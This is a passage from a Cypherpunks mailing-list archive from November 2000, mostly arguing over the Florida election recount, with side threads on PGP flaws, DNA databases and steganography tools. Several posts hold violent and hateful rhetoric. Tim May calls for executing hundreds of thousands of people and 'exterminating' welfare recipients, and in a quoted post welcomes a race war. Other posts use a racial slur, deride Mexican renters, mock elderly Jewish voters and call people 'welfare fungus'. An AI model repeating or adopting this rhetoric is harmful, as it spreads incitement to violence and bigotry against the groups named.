of knowledge in how government works is expected. Please go find some high school-level textbooks on our federal republic system, on the electoral college, and on basic issues about why changing voting hours at the last minute, changing the voting rules, and allowing "do overs" are just not permissable. Get some education. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 3572 bytes Desc: not available URL: From tcmay at got.net Thu Nov 9 14:36:51 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 17:36:51 -0500 Subject: CDR: Re: building codes, property rights (follow up) In-Reply-To: <3.0.5.32.20001109135556.00aacce0@idiom.com> References: <3.0.5.32.20001109135556.00aacce0@idiom.com> Message-ID: At 5:11 PM -0500 11/9/00, Bill Stewart wrote: >At 11:09 AM 11/9/00 -0500, David Honig wrote: >>So Tim is right --there are no constraints on his property, unless he wants >>to improve or sell it. >> >>Or the government needs it for a freeway... > >Heh. Having seen Tim's property, at the edge of a fairly high hill, >that'd be a pretty entertaining freeway.... > > >More to the point, if Tim wanted to rent his spare bedroom to somebody, >there'd be a whole raft of constraints and requirements. Remember, I was very careful in what I said. I didn't say there were no constraints/encumberments on renting, or selling, or adding on, whatever. I said, quite carefully, that "there is nothing I am required to have in my house." To his credit, David Honig checked with a legalgrub acquaintance of his and confirmed what I said. >I have one friend whose agreement with his housemate was that >she wasn't a tenant paying rent, because then he'd be a landlord >being regulated and paying income taxes - instead she was a housemate >paying her (large) fair share of the utilities, maid service, >maintenance, swimming pool cleaning, etc. I have a house sitting empty in Aptos, over near the coast. I have not rented it out, nor have I ever planned to. The legal hassles are too great. Including, on another subject, renters deciding they won't pay rent and then having social welfare agencies paid for by tax dollars fighting "for the rights of the renter." (Legal Aid Society, for example.) I know a woman here in Santa Cruz County who had some Mexicans renting from her. They trashed the house, didn't pay their rent, and it took her six months of court battles to have the Mexicans finally expelled. And of course she never saw a dime of the rent that was owed to her. The legal fees of her renters were paid for out from public funds. And people wonder why some of us are in favor of rounding up these miscreants and their government associates, holding quick but fair trials, and then executing the whole lot. From what I have seen, several hundred thousand Americans and foreigners living in America need to be tried and then liquidated. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From anonymous at openpgp.net Thu Nov 9 14:40:23 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Thu, 9 Nov 2000 17:40:23 -0500 Subject: CDR: swiss to use DNA instead of prints Message-ID: <6df759c0baeff45abdb52c78f7af644c@mixmaster.ceti.pl> In Switzerland DNA tests to replace fingerprinting Vienna, Nov 9, IRNA -- Traditional fingerprinting of criminals is to be replaced by DNA tests within four years in Switzerland, Swiss Radio International reported Thursday. The cabinet approved the move on Thursday, saying DNA was a much more reliable method of identifying suspects. Under the new system, a database of DNA profiles is to be set up to assist police in tracking down suspects. The database will contain genetic information about convicted criminals, enabling police to establish whether a particular person was present at the scene of a crime. Announcing the decision, the justice ministry said the system had been operating on an experimental basis since July 1. It added that traditional fingerprinting techniques would continue to be used alongside the DNA database until 2004, when fingerprinting would be dropped. From ulf at fitug.de Thu Nov 9 08:42:17 2000 From: ulf at fitug.de (=?iso-8859-1?Q?Ulf_M=F6ller?=) Date: Thu, 9 Nov 2000 17:42:17 +0100 Subject: CDR: Re: Phil Zimmerman Profiled Message-ID: <20001109174217.A12770@netestate.de> > these days. However, he sees his contribution as critical, believing > that "encryption software architectural decisions must be made by > knowledgeable cryptographers, not software engineers." He has very > firm opinions, for example, about Gnu Privacy Guard (GnuPG), an open > source competitor to PGP. There's no doubt in Zimmermann's mind that > GnuPG suffers for being managed by programmers. He offers the Blowfish > encryption method as an example: "I would never, ever allow Blowfish > to be implemented in PGP, because it's not as good a design as > Twofish; Twofish is superior. PGP 7 implements Two fish. Yet we see > GnuPG implemented Blowfish." > Even the Internet Engineering Task Force (IETF) makes cryptographic > mistakes, he says. Zimmermann asserts, "I would never allow El-Gamal > signatures to be put in PGP. I don't know how that got in" RFC 2440, > which defines the OpenPGP standard. It is the "knowledgeable cryptographer" Zimmermann who is responsible for the broken DSA signatures in PGP. And Additinal Decryption Keys are okay, but Blowfish is an inacceptable security risk? What a moron. From tcmay at got.net Thu Nov 9 17:52:49 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 17:52:49 -0800 Subject: CDR: Re: Democrats are arguing for "statistical sampling voting" In-Reply-To: <20001109205510.C31401@cluebot.com> References: <20001109205510.C31401@cluebot.com> Message-ID: At 8:55 PM -0500 11/9/00, Declan McCullagh wrote: >I suggest that we find one county for each state that we believe to be >representative, let them vote, and then extrapolate from their results >and assign electors accordingly. > >Or perhaps one household per state. I volunteer Tim and his cats to to >represent California. I know the way Nietzsche would vote, at least. > I put a ballot in front of him, consisting of three open cans of cat food: Gore: O O : Buchanan Bush: O He spoiled his ballot by eating out of more than one can, though, so he has now brought in Jesse Jackson, Al Sharpton, Tawana Brawley, and Morris the Cat to argue that he was confused and should be given a "do over." --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From George at Orwellian.Org Thu Nov 9 14:58:11 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 9 Nov 2000 17:58:11 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011092258.RAA18152@www2.aa.psiweb.com> Spooky Cypherpunk Niggar Tim May Moroned: # When I hear Jesse Jackson saying that unless the Palm Beach voters # are given the chance to have a new vote there will be a race war, I # rejoice. # # I was just reading in misc.survivalism that some folks in Florida are # saying that if Al Gore and his Voters of Color succeed in twisting # the courts into stealing the election, that white folks will start # killing. # # Music to my ears. The fuse is burning on the powder keg. Holy shit! I vote you are hereby ex-communicated from the Cypherpunks club, joining Dimitry Vulis. From George at Orwellian.Org Thu Nov 9 15:04:21 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 9 Nov 2000 18:04:21 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011092304.SAA21855@www4.aa.psiweb.com> Marc wrote: # # However, FL 101.5609 is a much clearer point against # the "must be to the right" claims. # # 101.5609(6): # Voting squares may be placed in front of or in back of the names # of candidates and statements of questions and shall be of such size as If you go by that text... Either "in front of", Or "in back of". It's a basic choice of one format or the other. Otherwise "And/Or" would have been used. From ravage at ssz.com Thu Nov 9 16:19:38 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 18:19:38 -0600 (CST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <0011090530540C.02765@reality.eng.savvis.net> Message-ID: This following a near impeachment. What happens if by the day the new president is to take his oath there is still no clear winner? Even if the candidates get together and one is a gracious loser, the trauma won't be lessened. There will be literaly no faith in the president. What would Congress need to do in order to pass an emergency resolution that would allow the current president to stay in office until the issue is resolved. Could this be a new way to get a third term? Would the vice-president (who serves when the president can't) then be the next in line (assume the speaker of the house would be next if memory serves)? Any civil liberties group worth the name better get ready to go into high gear. Voters and juries are going to be extremely critical of government activity. Expect to see a drop in law and government related employment below it's current nadir. This will probably distract the military from as many foreign involvements as well. There will be no clear foreign policy. This could have devastating effects for many of the high tension areas (e.g. China - Taiwan). It will probably effect global terrorism as well. We'll also see an increase in espionage as well. This could effect future crypto regs in a negative way as well. Cyphers and paranoid politicians. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From njohnson at interl.net Thu Nov 9 16:26:44 2000 From: njohnson at interl.net (Neil Johnson) Date: Thu, 9 Nov 2000 18:26:44 -0600 Subject: BSA deploys imaginary pirate software detector vans References: Message-ID: <011b01c04aac$e8b0b8e0$0100a8c0@nandts> Wasn't there some articles some time ago about Microsoft doing research into Tempest/Van Eck (sp) radiation ? It was speculated at the time that they were going include software to "broadcast" their serial numbers so that illegal copies could be detected. I wonder how the Supreme is going to rule on that case where the police used an infrared camera to determine they had probable cause to go after a marijuana grower based on the heat radiating from his house ? Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "R. A. Hettinga" To: ; Sent: Thursday, November 09, 2000 7:05 AM Subject: CDR: BSA deploys imaginary pirate software detector vans > > --- begin forwarded text > > > Date: Thu, 9 Nov 2000 10:13:26 +0000 > To: usual at espace.net > From: Fearghas McKay > Subject: BSA deploys imaginary pirate software detector vans > Reply-To: "Usual People List" > Sender: > List-Subscribe: > > http://www.theregister.co.uk/content/4/14562.html > ------------------------------------------------------------------------ > BSA deploys imaginary pirate software detector vans > By: Kieren McCarthy > Posted: 08/11/2000 at 10:57 GMT > > The Business Software Alliance aka The Pirate Busters is growing so > frustrated in its hopeless efforts to cut down on software piracy > that it has decided propaganda and misinformation is the way forward. > > Visitors to Glasgow Central Station yesterday were surprised to be > confronted by a Ford Transit van with a small radar and rusty Sky > satellite dish mounted on top. What was this apparition? Why, the > BSA's latest weapon in the war against software-stealing scum. > > A wise reader asked one of the "consultants" what exactly the dishes > were able to do and was informed they could detect PCs running > illegal software. When pushed a little further, she admitted the van > was "just a dummy" but the BSA still had a fleet of the real things > rushing around Scotland detecting and nabbing unsuspecting criminals. > > Expressing incredulity, things turned nasty and our loyal reader was > threatened. He'd "better watch out" because the BSA with its new > super software-finding equipment will "get him easily". He quickly > ran off and slid into the shadows before he was photographed and his > face wired to Interpol and the CIA. > > Can you believe this? This has to be one of the most insane things > we've heard in years. The BSA needs to take a valium and lay down for > a bit. ® > > Related Stories > BSA offers £10K bounty to catch software thieves > > --- end forwarded text > > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > From ravage at ssz.com Thu Nov 9 16:30:25 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 18:30:25 -0600 (CST) Subject: CDR: Inferno: What if? (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Thu, 9 Nov 2000 18:29:42 -0600 (CST) From: Jim Choate Reply-To: hell at ssz.com To: The Club Inferno Subject: Inferno: What if? What if this further alienates the younger set and what we're looking at is possibly the first time in history where one society will be replaced in the space of 20-40 years, non-violently and completely, by something only remotely related? It will be a society which embraces technology and individualism in a new uniquely American experiment? ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tcmay at got.net Thu Nov 9 18:34:30 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 18:34:30 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <4.1.20001109211247.009c06a0@mail.marcwohler.com> References: <200011100005.TAA03440@www8.aa.psiweb.com> <200011100005.TAA03440@www8.aa.psiweb.com> <4.1.20001109211247.009c06a0@mail.marcwohler.com> Message-ID: At 9:13 PM -0500 11/9/00, Marc Wohler wrote: >Do these folks need killing too? Not based on just their stupidity, as their own stupidity per se is not violative of the rights of others. If and when they act to steal the property or rights of others, via food stamps or welfare or whatever, then of course they need killing. The crack hoe who takes my tax money to fill her crack pipe should be exterminated like the rat she is. Ditto for the gun grabber, the election stealing politician, etc. --Tim May (By the way, please consider the usual convention of commenting _after_ a comment you are quoting, so respondents won't have to do the inclusion for you.) > >At 07:22 PM 11/9/00 , Tim May wrote: >> >> >>Fact is, voting is serious business. Those who show up dazed and >>confused and punch too many holes in their ballot are an example of > >social Darwinism. > > > >I have no sympathy for stupid people. > > -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Thu Nov 9 15:57:43 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 18:57:43 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: ; from ravage@einstein.ssz.com on Thu, Nov 09, 2000 at 03:51:04PM -0600 References: <20001109104244.C24119@cluebot.com> Message-ID: <20001109185743.A30018@cluebot.com> Socialist? Hmm. I guess I'm not just a voting-fetishist. :) -Declan Thu, Nov 09, 2000 at 03:51:04PM -0600, Jim Choate wrote: > > On Thu, 9 Nov 2000, Declan McCullagh wrote: > > > It would be simpler, and probably fairer (in a general sense) to discard > > those ballots that are suspect. Elections such as this should not be > > re-run. > > That's in infaction of the voters civil liberty. To throw away a vote > because the groups managing the election screwed up is the wrong answer. > > > Take it down to its most general form. Gore and Bush are tied. My > > ballot was mangled during processing and is unreadable; I successfully > > sue for a rerun of the election, just for my ballot alone. Is this a > > good thing? > > As a citizen you have a RIGHT to have a counted vote, convenience with > respect to the organizers isn't an issue. > > This, "it's hard, or inconvenient, or it's expensive, so let's don't do > it" is bullshit socialism when it comes to the rights of citizens, even > individual ones. > > ____________________________________________________________________ > > He is able who thinks he is able. > > Buddha > > The Armadillo Group ,::////;::-. James Choate > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > www.ssz.com .', |||| `/( e\ 512-451-7087 > -====~~mm-'`-```-mm --'- > -------------------------------------------------------------------- > > From declan at well.com Thu Nov 9 16:02:23 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 19:02:23 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011092224.RAA16615@www2.aa.psiweb.com>; from George@orwellian.org on Thu, Nov 09, 2000 at 05:24:53PM -0500 References: <200011092224.RAA16615@www2.aa.psiweb.com> Message-ID: <20001109190223.B30018@cluebot.com> Warren Christopher, the arbiter of truth? Right... -Declan On Thu, Nov 09, 2000 at 05:24:53PM -0500, George at orwellian.org wrote: > Jim Burnes wrote: > # I could stomach 'might be illegal', but illegal? > > Warren Christopher was just on TV, calling the ballot illegal. > Let's leave it at that until a court decides. > > ---- > > Spooky Cypherpunk Niggar Tim May Moroned: > # And, of course, Palm County will _not_ be given a > # second chance to vote in this election. I guarantee it. > > It's either that or the choice you liked even less. > > Protest crowds are growing. Bush can't take office > when half the country thinks people were screwed > out of their vote to have that happen. > > Not in America, buddy. > > And your hallucinatory Truck O' Dynamite will never change that. > > ---- > > Declan, King of the Wired, wrote: > # Amusing. But that's a suggested ballot, and not one > # that's legally required. Which was my point. > > But the _directions_ were not "sample" directions. > > ---- > > Florida is now saying it won't be until Nov 17th > until they can certify the vote. Bush's lead is > now only 359. > > Federal investigators are looking into U.S.P.O. funny business > at one unnamed office. > From George at Orwellian.Org Thu Nov 9 16:05:29 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 9 Nov 2000 19:05:29 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011100005.TAA03440@www8.aa.psiweb.com> Jim Burnes > wrote: # I could stomach 'might be illegal', but illegal? George at orwellian.org wrote: > Warren Christopher was just on TV, calling the ballot illegal. > Let's leave it at that until a court decides. Declan, King of the Wired, wrote: # Warren Christopher, the arbiter of truth? Right... I said the courts would be. James "too damn bad about the 19,000" Baker ain't no piece of cake either, FYI. ---- Heh-heh-heh. Perot threw in with Bush, pissing off Bucanan. Buchanan now says most of his Palm Beach County votes are actually Gore's. Pat Buchanan and Jesse Jackson united!o (Looking around for hellfire blast prior to anti-Christ arrival...) From declan at well.com Thu Nov 9 16:05:56 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 19:05:56 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011092258.RAA18152@www2.aa.psiweb.com>; from George@orwellian.org on Thu, Nov 09, 2000 at 05:58:11PM -0500 References: <200011092258.RAA18152@www2.aa.psiweb.com> Message-ID: <20001109190556.C30018@cluebot.com> Huh? Tim has been posting such articles for years. You weren't around for the Y2K discussions. -Declan On Thu, Nov 09, 2000 at 05:58:11PM -0500, George at orwellian.org wrote: > Spooky Cypherpunk Niggar Tim May Moroned: > # When I hear Jesse Jackson saying that unless the Palm Beach voters > # are given the chance to have a new vote there will be a race war, I > # rejoice. > # > # I was just reading in misc.survivalism that some folks in Florida are > # saying that if Al Gore and his Voters of Color succeed in twisting > # the courts into stealing the election, that white folks will start > # killing. > # > # Music to my ears. The fuse is burning on the powder keg. > > Holy shit! > > I vote you are hereby ex-communicated from the Cypherpunks club, > joining Dimitry Vulis. > From rah at shipwright.com Thu Nov 9 16:14:28 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 9 Nov 2000 19:14:28 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: References: Message-ID: At 5:07 PM -0500 on 11/9/00, Tim May wrote: > They probably still have you registered as a Democrat from your Young > Communist days at journalism school. So, did you vote for the dead > guy? I don't know. You'll have to ask Gephart to see how he voted me on Tuesday. :-). Besides, Tim, my degree was a worse one than Journalism. It was (a three-year delayed) *Philosophy* BA. Worse, I *was* going to go to Law School. In Missouri. (Though eventually, I didn't want to be either a lawyer or in Missouri anymore. YMMV, of course. I'm not as pissy about it as I was about it, say, 3 years ago...) Worse, Tim, I was in the Missouri Student Association Senate. The Public Issues Committee Chair, no less, spending those evilly confiscated student fees on all kinds of stupid stuff like candidate debates and pre-election interviews and recommendations for student voting. Far worse than even that, I was on the board of the ASUM (we thought the name was cute, too) The Associated Students of the University of Missouri, a genuine, frothing-liberal, Nader-inspired PIRG/"Student Lobby", which not only confiscated student fees, but spent them to *lobby* the legislature for increased taxes and more money for the University (which, of course, would allow us to raise our fees, to lobby the legislature with :-)). So, yes, boys and girls, I flunk the Cypherpunk Life-Long Political Purity Test. I Was A Teen-Aged Liberal, a Liberal Until Graduation, whatever. Worse than that, horrors, I'm still a Unitarian. Yeah, I know, Tim. I *still* need killing, right? ;-). Cheers, RAH (Who pissed in the political wind twice on Tuesday, once by voting for Bush in Massachusetts, and again -- or maybe twice again -- by voting for Carla Howell, the Libertarian, against Teddy Kennedy. BTW, it appears that Carla got 300,000 votes or so, almost as many as Harry got nationwide. Carla for President. Probably have to wait for my Mom to die before I can get away with that one, though. The one person I fear more than Tim May, maybe even my Roslindale Attorney, being me dear Mum... :-)) -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From declan at well.com Thu Nov 9 16:17:48 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 19:17:48 -0500 Subject: CDR: Re: Reporting weirdness: Hagelin vs. Browne In-Reply-To: ; from alan@clueserver.org on Thu, Nov 09, 2000 at 11:40:10AM -0800 References: Message-ID: <20001109191748.D30018@cluebot.com> On Thu, Nov 09, 2000 at 11:40:10AM -0800, Alan Olsen wrote: > Browne was the un-canidate in this election. The press went out of their > way to avoid mentioning or reporting on him in any way, shape or form. Yes, and no. We profiled him at Wired; I mentioned him in about seven articles. LA Times did a front-page story. Etc. A better question might be was his coverage (what there was) fair or biased? -Declan From tcmay at got.net Thu Nov 9 19:26:49 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 19:26:49 -0800 Subject: CDR: A New Crisis in Palm Beach County, Florida Message-ID: Thursday November 9 10:42 PM ET Votes for Buchanan Lost By Lisa Ander Spooner TALLAHASSEE, Florida (Routers) - A new vote crisis has appeared in Palm Beach County. Ten thousand votes for Patrick Buchanan appear to be missing. Based on interviews with elderly Jewish yentas, at least 14,000 of them claimed they mistakenly voted for Patrick Buchanan (see millions of earlier stories). And yet only 4,000 of these alleged Buchanan votes were actually counted for Buchanan. What, people are asking, happened to the other 10,000 votes for Buchanan? "I mistakenly voted for Pat Buchanan," said Miriam Rabinstein, formerly of Brooklyn, "and I want to know what happened to my vote." She went on to say, "All of my friends mistakenly voted for Buchanan, and everyone from our condo voted mistakenly for Buchanan. You want I should tell you that Buchanan should have gotten 14,000 votes?" Election officials acknowledge that informal opinion polls by the 13,200 reporters swarming through Palm Beach County show that most elderly Jews voted for Buchanan. They cannot explain what happened to the missing 10,000 trick votes. From marshall at athena.net.dhis.org Thu Nov 9 16:41:07 2000 From: marshall at athena.net.dhis.org (David Marshall) Date: Thu, 9 Nov 2000 19:41:07 -0500 Subject: CDR: Re: [Correction] More blather from the DEMS on FL In-Reply-To: Harmon Seaver's message of "Wed, 8 Nov 2000 23:53:29 -0500" References: <200011081549.KAA22279@domains.invweb.net> <00110802010900.02765@reality.eng.savvis.net> <3A0A2DB1.730E56B3@harmon.arrowhead.lib.mn.us> Message-ID: <871ywk7j9i.fsf@athena.dhis.org> Harmon Seaver writes: > im Burnes wrote: > > > Maybe Ms. Reno still has connections in Dade county. If I were a Republican > >I'd demand chain of evidence from any so-called 'lost' ballots. > > > OTOH, it's gwbush's brother runs the state, eh? 8-) And didn't the exit > polls say Gore won? Gov. Jeb Bush of Florida has reclused himself from supervising it, citing his obvious conflict of interest. Exit polls are generally worthless, and are totally unofficial and untrustworthy. Joe Cuban goes into the polls, votes for Bush because he's well-to-do and wants a tax cut for his small business. He leaves, and an exit-poller asks him how he voted. He says that he voted for Gore because he would like to keep his business from mysteriously burning down, his daughter from mysteriously being raped, himself from mysteriously being shot, and maybe his car from mysteriously exploding. This is why we have anonymous voting. If you don't believe that the people in the area are capable of doing that kind of intimidation, I suggest that you turn on CNN (or virtually any other news network) and watch the crowds of morons protesting in Miami. They claim that they were "denied their right to vote" and that their "civil rights were violated" because they were too stupid to: A) Vote for only one candidate. B) Vote for the candidate that they actually wanted. C) Realize that presidential elections are an election for a _pair_ of candidates, one for President, and one for Vice-President. Anybody who thinks that they can vote for more than one candidate for the same office or who doesn't realize that Gore is running for President and Lieberman is his _running mate_ probably shouldn't be voting. once on CNN, there is no cause for confusion. The candidates are clearly marked, and there are arrows pointing to the selector for the appropriate candidate. Whatever Florida state law said about the format of the ballot is irrelevent. It was clearly marked. Anybody who screwed up their ballot should have talked to an election judge. The ballot was designed by a Democrat. The ballot was vetted by both major parties. The ballot was mailed out to the voters in Palm Beach County well before the election and nobody complained. Couple this with the election fraud in Missouri, and we get a situation which is less than appealing. There's also apparent election fraud in Florida, and as close as this election was there will probably be total recounts in Oregon, Iowa, and a few other states. A second election is simply not workable. As Tim May wrote yesterday, the people of Palm Beach would know that they and they alone are electing the President of the United States. Money will be spent to buy each and every voter. There's a massive problem there, which is pretty obvious. A second nation-wide election runs into many similar problems, the biggest of which is people changing their votes to sway the election (e.g. changing from Nader to Gore). I think that the major parties involved had best be very careful about how they handle this, but I fear that there will be major unrest either way. If Gore wins, large portions of the population (much of which consists of white America, which is generally sick of being crapped upon by everything from affirmative action to minority-only programs but is generally too politically correct and fixated on self-preservation to say it) is going to, at the very least, be pissed. At the very worst, they rebel. If Bush wins, the Democratic base (much of which consists of: ) will probably riot and rebel on a massive scale. The next president, whether it be Bush or Gore, is likely to be a lame duck either way, which is probably a good thing. Meanwhile, the national legislature is fairly evenly split. After watching CNN and listening to the Democrats whine, bitch, and moan, I guess that maybe this is the first shot of the Second American Civil War. I guess I'd better go get more guns to defend myself against rioting welfare fungus which may try to claim that I am a "white capitalist oppressor" and kill me. I just hope the Democrats don't win; I wouldn't want to live in the world of "Harrison Bergeron" where I'm basically lobotomized to bring me down to the level of people who can't read a ballot. From k-elliott at wiu.edu Thu Nov 9 17:57:58 2000 From: k-elliott at wiu.edu (Kevin Elliott) Date: Thu, 9 Nov 2000 19:57:58 -0600 Subject: CDR: Electoral college (was: Re: More blather from the DEMS on FL] In-Reply-To: References: Message-ID: At 10:51 -0500 11/9/00, Trei, Peter wrote: >> evanmcmullen at yahoo.com] wrote: >> >> what the hell is the electoral college still doing in existance? it >> should have gone out w/ unlimited presidential terms.... voting with >> their conscience my ass.... voting in a partisan fashion is more like it >> >[Learn to use your 'Shift' key; it's there for a reason.] > >I expect that we still have an electoral college because amending the >Constitution is a very laborious process, and fixing it has no constituancy; >one party is about as likely to benefit from it as another. I think underlying the electoral question is a more fundamental issue- as you said in later in your message, if the race isn't close, it doesn't matter. The question then is "in a fairly close race is it better for the president to be the person who represents the most people or the person who represents the most territory". The electoral college is designed choose the president based on territorial representation. -- "As nightfall does not come at once, neither does oppression. In both instances, there is a twilight when everything remains seemingly unchanged. And it is in such twilight that we all must be most aware of change in the air--however slight--lest we become unwitting victims of the darkness." -- Justice William O. Douglas ____________________________________________________________________ Kevin "The Cubbie" Elliott ICQ#23758827 From maxinux at openpgp.net Thu Nov 9 20:07:24 2000 From: maxinux at openpgp.net (Max Inux) Date: Thu, 9 Nov 2000 20:07:24 -0800 (PST) Subject: CDR: Phil Zimmerman Profiled In-Reply-To: <200011092256.RAA25933@Prometheus.schaefer.nu> Message-ID: >> Minor controversies continue to dog PGP. Just within the last year, two >> small faults in the released code were discovered. While experts agree that >> neither one presented any practical danger to the security of PGP-based >> communications, both sparked arguments about NAI's ability and even its >> intentions. In the first case, a fault in a specific version for Unix could, >> in principle, compromise a key generated by a method PGP had always >> deprecated: automatically, without user input. > >Heh. A random number generator that produces an output of all zeros. Small >flaw. No biggie. Except for the me that generated a key that was vulnerable to that 0x149DCDDC However I believe there was an email attached to that and the signatures to that key, but apparently not anymore =) And its a big deal, can you say 0 strength key? Max Inux 0xE42A7FB1 http://www.openpgp.net Key fingerprint = E4CA 2B4F 24FC B1BF E671 52D0 9E4B A590 E42A 7FB1 If crypto is outlawed only outlaws will have crypto. 'An it harm none, let it be done' From brflgnk at cotse.com Thu Nov 9 17:27:30 2000 From: brflgnk at cotse.com (brflgnk at cotse.com) Date: Thu, 09 Nov 2000 20:27:30 -0500 Subject: CDR: Where indeed is John Young? Message-ID: <973819650.3a0b4f026dc06@webmail.cotse.com> Tim asked where John Young might be, in considering Jim Bell's predicament. I notice that nothing new has been posted to Cryptome since Nov. 4. Why do I have a bad feeling about this? From bh28 at drexel.edu Thu Nov 9 17:30:57 2000 From: bh28 at drexel.edu (bh28) Date: Thu, 09 Nov 2000 20:30:57 -0500 Subject: No subject Message-ID: <0G3S00F7NC7M19@mail.drexel.edu> --------------------------------------------------------------------------- Does anybody have a stego program along the lines of Peter Wayner's Mimic Functions? I'm looking for something that you can hand a grammar and a set of bits that will produce sentences in the grammar, plus a decoder that can take the sentences and reconstruct the bits. I have a friend who lives in a kleptocratic country where the local bureaucrats have made it clear they'll confiscate the main email node in his town if they catch traffic they recognize as encrypted, and text in some non-popular language may be less obvious than, say, Mandelbrot sets with stego-bits or other artwork. --------------------------------------------------------------------------- I think Texto is what you are looking for, and it is available from the cypherpunks archive in the steganography directory. If you can't find it, drop me a private note and I'll mail it to you... --------------------------------------------------------------------------- Dear Mr./Mrs. Lucifer Hi, we are two students studying in Drexel University, Philadelphia, Pennsylvania. In order to graduate, we need to have a senior project and we decided to write an application using Steganography. We are especially interested in using Context Free Grammar as a basis to develop the application; in other words, we want to conceal secret messages in seemingly innocuous text. We did some research and found out that mimic function may be able to help us. However, we have a hard time figuring out how this mimic function works and how to actually encode our information. After searching on the Web, we found this message and thought that you might be able to help us to finish our project. Can we read the source code and figure out how to do it? We plan to write the whole application in Java and we want to develope some kind of instant message user interface, like AIM, or ICQ. We will definitely be ethical about coding and documenting all the material that we borrow. This is the link that I found the message: http://www.inet-one.com/cypherpunks/dir.96.08.29-96.09.04/msg00044.html Yours Sincerely, Bae-Shi Huang Chris From declan at well.com Thu Nov 9 17:49:15 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 20:49:15 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: ; from ravage@einstein.ssz.com on Thu, Nov 09, 2000 at 06:19:38PM -0600 References: <0011090530540C.02765@reality.eng.savvis.net> Message-ID: <20001109204915.A31401@cluebot.com> Jim clearly needs some remedial education in the U.S. Constitution, particularly the 12th Amendment. -Declan On Thu, Nov 09, 2000 at 06:19:38PM -0600, Jim Choate wrote: > > This following a near impeachment. > > What happens if by the day the new president is to take his oath there is > still no clear winner? Even if the candidates get together and one is a > gracious loser, the trauma won't be lessened. There will be literaly no > faith in the president. What would Congress need to do in order to pass an > emergency resolution that would allow the current president to stay in > office until the issue is resolved. Could this be a new way to get a third > term? Would the vice-president (who serves when the president can't) then > be the next in line (assume the speaker of the house would be next if > memory serves)? > > Any civil liberties group worth the name better get ready to go into high > gear. Voters and juries are going to be extremely critical of government > activity. > > Expect to see a drop in law and government related employment below it's > current nadir. > > This will probably distract the military from as many 